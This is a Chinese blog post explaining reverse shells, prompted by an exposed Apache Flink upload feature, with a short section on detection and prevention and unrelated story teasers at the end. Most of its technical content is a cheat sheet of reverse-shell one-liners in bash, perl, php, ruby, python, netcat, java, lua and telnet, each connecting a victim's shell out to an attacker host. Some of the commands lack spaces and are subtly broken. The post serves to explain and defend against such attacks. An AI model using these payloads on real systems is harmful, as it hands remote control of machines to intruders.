Shell反弹

背景

前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也没有对相应的端口配置防火墙,导致任意用户可以通过Flink上传jar包执行任务,并伴有反弹shell获取shell权限的风险。在此总结一下反弹shell,加深理解。

反弹shell的作用

通常攻击者在自己的机器去连接目标机器(目标IP:目标机器端口),叫做正向连接。如远程桌面,web服务,ssh,telnet等等。然而在以下情况时,正向连接不大适用:

1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2. 它的IP会动态改变,你不能持续控制。

3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹shell的本质

当目标机器主动连接攻击者机器时,要实现对远程机器的操控,其实就是两台机器的通信,本质上在目标机器上多了对通信信息的执行过程。在linux中有各种重定向的功能,目标机器通过设置对通信内容进行交互执行即完成shell反弹。如下示例:

攻击机器上执行:

nc -lvp 2333

受害机器上执行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

bash -i 表示产生交互式的shell,/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备,如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。

>&表示将标准输出和错误输出都重定向至指定文件,0>&1表示标准输入重定向至标准输出。因此,受害机器上的标准输入将通过/dev/tcp/192.168.146.129/2333文件读取并执行,标准输出和错误输出将写入/dev/tcp/192.168.146.129/2333文件。完成了shell的反弹效果。

多种反弹shell命令

本机开启监听:

nc -lvnp 4444

目标机器开启反弹

bash版本:

bash-i >& /dev/tcp/10.0.0.1/4444 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc版本:

nc -e /bin/sh10.0.0.1 1234

rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

java版本:

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

NC版本不使用-e参数:

mknod/tmp/backpipep

/bin/sh0</tmp/backpipe| nc x.x.x.x 4444 1>/tmp/backpipe

 /bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

 mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe

检测及预防

检测shell反弹的总体思路如下:

1. 及时发现Bash进程启动事件。

2. 检查Bash进程是否打开了终端设备,是否有主动对外连接。

总结

不管采用何种方式反弹shell都是受害机器主动连接攻击机器,采用socket进行通信并交互执行。受害机器需要配好防火墙,限制端口,防范攻击者植入反弹shell程序,当检测出漏洞无法确定时及时备份数据重装系统。

参考链接

https://xz.aliyun.com/t/2549

http://ijianbian.com/home/post/detail?id=6202977

https://4hou.win/wordpress/?p=25737

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,718评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,683评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,207评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,755评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,862评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,050评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,136评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,882评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,330评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,651评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,789评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,477评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,135评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,864评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,099评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,598评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,697评论 2 351

推荐阅读更多精彩内容